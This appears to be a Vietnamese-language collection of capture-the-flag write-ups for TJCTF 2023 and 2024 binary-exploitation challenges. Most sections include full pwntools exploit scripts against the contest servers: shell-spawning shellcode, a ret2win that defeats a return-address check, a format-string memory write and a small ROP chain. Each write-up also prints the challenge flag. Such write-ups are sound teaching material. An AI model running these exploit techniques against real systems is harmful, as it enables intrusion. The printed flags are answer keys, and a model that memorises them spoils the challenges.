Try   HackMD

(writeup) TJCTF'23

flip-out

  • chall:
nc tjc.tf 31601

$ wget https://tjctf-2023-rctf.storage.googleapis.com/uploads/e28bcc2bc9b4d12581c6290e41e74f3c3622acc8159dc8d128b2be7520f9a1f2/chall
  • check file + checksec

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • check ida

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • đây là chương trình nhập vào 1 index để in ra nội dung của vị trí đó trong stack

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • thì ta thấy chuỗi chữ 'Nothing to see here Nothing to see here' nó sẽ đc lưu vào biến nptr
  • sau đó sẽ là các biến khác nối đuôi nhau
  • flag dc lưu vào biến v18

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • vậy bài này nối chuỗi bth thôi
char nptr[46]; // [rsp+10h] [rbp-B0h] BYREF //46byte
  __int16 v7; // [rsp+3Eh] [rbp-82h]        //int16 là 2
  __int64 v8; // [rsp+40h] [rbp-80h]        //int64 là 8
  __int64 v9; // [rsp+48h] [rbp-78h]        //8
  __int64 v10; // [rsp+50h] [rbp-70h]       //8
  __int64 v11; // [rsp+58h] [rbp-68h]       //8
  __int64 v12; // [rsp+60h] [rbp-60h]       //8
  __int64 v13; // [rsp+68h] [rbp-58h]       //8
  __int64 v14; // [rsp+70h] [rbp-50h]       //8
  __int64 v15; // [rsp+78h] [rbp-48h]       //8
  __int64 v16; // [rsp+80h] [rbp-40h]       //8
  __int64 v17; // [rsp+88h] [rbp-38h]       //8
  __int64 v18[6]; // [rsp+90h] [rbp-30h] BYREF //flag

46 + 2 + 8*10 = 128

  • hoặc nhân sinh có nghi ngờ thì thử số này lun là ra

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • remote

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • bài này chắc k cần script nhưng viết ra cho mng lun:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./chall',checksec=False)

#p = process(exe.path)
p = remote('tjc.tf',31601)

payload = b'128'

p.sendline(payload)

p.interactive()
#tjctf{chop-c4st-7bndbji}

tjctf{chop-c4st-7bndbji}


shelly

  • chall
nc tjc.tf 31365

$ wget https://tjctf-2023-rctf.storage.googleapis.com/uploads/f4914c2f96e44e9190bb778009a505f0e5d87963ea2c37fa457bb9199343bcd4/chall
  • check file + checksec

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • check ida

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

256 byte biến s + 8 byte save_rbp -> offset = 264

  • chương trình sẽ in ra cho ta 1 cái stack của $rsp

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • vậy việc mình là chèn shellcode, padding đến save_rbp, rip là stack ta leak ra được để return về shellcode của ta
  • vậy bài này là ret2shellcode có leak bth

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • script:
#!/usr/bin/python3

from pwn import *
 
context.binary = exe = ELF('./chall', checksec=False)

#p = process(exe.path)
p = remote('tjc.tf',31365)

# gdb.attach(p,gdbscript='''
# 	b*main+83
# 	b*main+234
# 	c
# 	''')
# input()

stack = int(p.recvline()[:-1],16)

shellcode = asm(
    '''
    mov rbx, 29400045130965551
    push rbx

    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    mov rax, 0x3b
    syscall
    ''', arch='amd64')
payload = shellcode
payload = payload.ljust(264,b'A')
payload += p64(stack)

p.sendline(payload)

p.interactive()
#tjctf{s4lly_s3lls_s34sh3lls_50973fce}

tjctf{s4lly_s3lls_s34sh3lls_50973fce}


groppling-hook

  • chall
nc tjc.tf 31080

$ wget https://tjctf-2023-rctf.storage.googleapis.com/uploads/2fb71269ef3ca42ee788d340e2b71c1956e62a7b94ba45da55954f04042fcb7d/main.c

$ wget https://tjctf-2023-rctf.storage.googleapis.com/uploads/21710f0bd9ebca8d37153d01d29b44c285373e5e9c340a0e2b780b8aa4a7caaf/out

$ wget https://tjctf-2023-rctf.storage.googleapis.com/uploads/908c56a7f366fa7795a8609e9b33f40dd525c4b40dd4436d9f6e2690aba0ade6/Dockerfile
  • check file + checksec

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • check source
#include "stdio.h"
#include <stdlib.h>

void laugh()
{
	printf("ROP detected and denied...\n");
	exit(2);
}

void win()
{
	FILE *fptr;
	char buf[28];
	// Open a file in read mode
	fptr = fopen("flag.txt", "r");
	fgets(buf, 28, fptr);
	puts(buf);
}

void pwnable()
{
	char buffer[10];
	printf(" > ");
	fflush(stdout);

	read(0, (char *)buffer, 56);

	/* Check ret */
	__asm__ __volatile__("add $0x18, %rsp;"
						 "pop %rax;"
						 "cmp $0x0401262, %rax;"
						 "jle EXIT;"
						 "cmp $0x040128a, %rax;"
						 "jg EXIT;"
						 "jmp DONE;"
						 "EXIT:"
						 "call laugh;"
						 "DONE: push %rax;");
	return;
}

int main()
{
	setbuf(stdout, NULL);

	pwnable();

	return 0;
}

  • nhìn sơ qua source, có thể đoán rằng đây là ret2win
  • tìm offset

18 bytes

  • ret2win này đặc biệt có thêm kiểm tra thông qua mã lệnh asm

nhảy số 1 (jle: jump less_equal) so sánh bé hơn hoặc bằng
-> return về EXIT
EXIT là hàm laugh (cười dô bản mặt)
nhảy số 2 (jg: jump greater) so sánh lớn hơn
-> return về EXIT
nếu không lớn hơn sẽ jmp bình thường (jump: nhảy)
-> return về DONE
DONE là sẽ đưa giá trị hiện tại của rax lên rsp lại
rồi nop, leave, ret bình thường

  • vậy ta cần rip ta là 1 địa chỉ lưng chừng giữa 0x401262 và 0x040128a là được, nhưng vì địa chỉ 0x040128a là ret của hàm main nên ret về main sẽ tiếp tục ret
payload = b'A'*18
payload += p64(part2)
payload += p64(exe.sym['win'])
  • còn lùi về 0x0401289 sẽ còn 1 lệnh pop rbp sẽ đưa địa chỉ ta ret tiếp theo vào rbp và sau đó exit main bình thường

  • muốn lì với cách này thì payload sẽ như sau
payload = b'A'*18
payload += p64(part2 - 1)
payload += p64(exe.sym['win']) #pop vào rbp
payload += p64(exe.sym['win']+1) #né lỗi xmm1
  • sau hàm check hợp ngữ asm đó nó sẽ ret 1 lần nữa nên lần này sau rip sẽ là hàm win của mình
  • return 2 lần là được

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./out',checksec=False)

#p = process(exe.path)
p = remote('tjc.tf',31080)

# gdb.attach(p,gdbscript='''
# 	b*pwnable+65
# 	b*pwnable+70
# 	c
# 	''')
# input()

part1 = 0x0401262
part2 = 0x040128a

payload = b'A'*18
payload += p64(part2)
payload += p64(exe.sym['win'])

p.sendafter(b'> ',payload)

p.interactive()
#tjctf{this_i#-my-questsss}

tjctf{this_i#-my-questsss}


formatter

  • chall
nc tjc.tf 31764

$ wget https://tjctf-2023-rctf.storage.googleapis.com/uploads/2e7d0edc4f63c0321c8976780d6d416b2784de0b808551ae8e07543830bfe728/chall
  • check file + checksec

  • check ida

nhập 256 byte vào chuỗi s
in ra lại s -> fmtstr
nhảy vào hàm r1 với tham số là 8 byte đầu của chuỗi s
rồi kiểm tra với hàm win

hàm này sẽ cộng cái con trỏ *xd lên 2

AIM🎯 : xd = 0x86a693e

hàm r2 với r3 bịp thôi

  • từ ida ta thấy biến xd là 1 cái heap

  • con trỏ *xd sẽ so sánh với 0x86a693e , tức là bên trong heap sẽ so sánh với số đó

  • hmmm, nhập dc có 1 lần duy nhất
  • idea sẽ là ow địa chỉ khác ghi được chứa giá trị 0x86a693e vào con trỏ *xd (đúng hơn là 0x86a693e - 2 = 0x86a693c do còn qua hàm r1)

xd là heap, *xd là rỗng(chưa qua hàm r1)

sau khi qua hàm r1

trong hàm win, so sánh eax với giá trị 0x86a693e

eax hiện tại : 0x2

  • thực thi cái idea

dừng ở lần nhập

  • ta chừa 5 hàng địa trống ở trên để chèn payload
  • ở vị trí tô trắng đó (%11) ta sẽ bắt đầu ghi đè thành vùng nhớ ghi được, và ghi 1/2 lượng giá trị 0x86a693e
payload = f"%{part1}c%11$hn".encode()
---------------------------------------------
payload += p64(rw_section + 2)
  • ở vị trí tiếp theo (%12) ghi lượng còn lại vào địa chỉ ghi được ở phân vùng thấp hơn 2 (do đã ghi 2 ở trước, sẽ bắt đầu ghi tiếp nối đuôi nhau)
payload += f"%{part2 - part1}c%12$hn".encode()
----------------------------------------------
payload += p64(rw_section)
  • ở vị trí kế tiếp (%13) sẽ ghi thành phân vùng ghi được trước đó vào biến xd (sẽ ghi rw_section đè lên cả heap)
payload += f"%{rw_section - part2}c%13$n".encode()
----------------------------------------------
payload += p64(xd) #0x403440

ghi lần 3 thì phải trừ 2 lần đầu
p3 - (p2 - p1) - p1 = p3 - p2 +(p1 - p1) = p3 - p2

trước fmtstr

sau fmtstr

so sánh eax vs 0x86a693e

  • get flag:

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./chall',checksec=False)

#p = process(exe.path)
p = remote('tjc.tf', 31764)

# gdb.attach(p,gdbscript='''
# 	b*main+95
# 	b*main+115
# 	b*main+120
# 	b*r1+54
# 	b*win+46
# 	c
# 	''')
# input()

rw_section = 0x403a00
win = 0x86a693c
part1 = 0x86a
part2 = 0x693c
xd = 0x403440

payload = f"%{part1}c%11$hn".encode()
payload += f"%{part2 - part1}c%12$hn".encode()
payload += f"%{rw_section - part2}c%13$n".encode()
payload = payload.ljust(40)
payload += p64(rw_section + 2)
payload += p64(rw_section)
payload += p64(xd)

p.sendline(payload)

p.interactive()
#tjctf{f0rm4tt3d_5883cc30}

tjctf{f0rm4tt3d_5883cc30}


teenage-game

  • chall
nc tjc.tf 31119

$ wget https://tjctf-2023-rctf.storage.googleapis.com/uploads/e5685714ecab551b28d2ddb9470b651a5f4ce5e744a30a71e4f2ec161ac21dc9/game

$ wget https://tjctf-2023-rctf.storage.googleapis.com/uploads/52457786ee0094ea41227ae5f8bdfa6ed08b5218150cc9e4ec1e7f50571ce963/Dockerfile

$ wget https://tjctf-2023-rctf.storage.googleapis.com/uploads/efe13ea610d23f09bc4782097a07f944ed1006904ea15e890b85db951953bcf0/connect.sh
  • check file + checksec

  • check ida

  • bài này y hệt bài baby-game-2 hồi giải pico_ctf_23 nên coi wu bên đây hen

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./game',checksec=False)

#p = process(exe.path)
p = remote('tjc.tf', 31119)

# gdb.attach(p,gdbscript='''
# 	b*main+179
# 	b*move_player+212
# 	b*main+213
# 	c
# 	''')
# input()

win = exe.sym['win'] + 5 & 0xff # +5 để né lỗi xmm0

payload = b'l' + p8(win)

p.sendline(payload)

payload = b'wwwaaaaaaaaaaaaaa'

p.sendline(payload)

payload = b'aaaaaaaaaaaaaaw'

p.sendline(payload)

p.interactive()
#tjctf{so_many_new_features_but_who_will_stop_the_underflow?_47c6f204377cb18b30e68da46e9930dc}

tjctf{so_many_new_features_but_who_will_stop_the_underflow?_47c6f204377cb18b30e68da46e9930dc}


(writeup) TJCTF'24

cowsay

  • solution:

%10$s

image

baby-heap

  • solution:

0x81
0x70

image

ring-opening-polimerization

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./out',checksec=False)

# p = process(exe.path)
p = remote('tjc.tf',31457)

# gdb.attach(p,gdbscript='''
#         b*0x401231
#         c
#            ''')
# input()

pop_rdi = 0x000000000040117a

payload = b'a'*8*2
payload += p64(pop_rdi) + p64(0xdeadbeef)
payload += p64(exe.sym.win)

p.sendline(payload)

p.interactive()
#tjctf{bby-rop-1823721665as87d86a5}

sled

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./out',checksec=False)

# p = process(exe.path)
p = remote('tjc.tf',31456)

# gdb.attach(p,gdbscript='''
#         b*main+44
#         c
#            ''')
# input()

payload = asm('''
            push rdx
            pop rsi
            add rsi, 0xd
            push rax
            pop rdi
            push r11
            pop rdx
            syscall
            nop
              ''',arch='amd64')
p.sendline(payload)

shellcode = asm(shellcraft.sh())
# shellcode = b'\x90'*100

sleep(3)

p.send(shellcode)

p.interactive()
#tjctf{bby-shhEellLcodeeeeeaf7af7f66}